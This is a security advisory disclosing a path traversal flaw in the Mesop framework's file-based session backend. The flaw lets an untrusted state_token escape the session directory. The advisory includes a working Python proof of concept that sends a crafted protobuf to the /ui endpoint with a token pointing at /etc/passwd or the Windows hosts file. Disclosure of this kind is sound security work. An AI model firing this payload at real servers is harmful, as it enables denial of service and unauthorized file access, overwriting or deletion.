Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk.
In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent.
Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
)

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.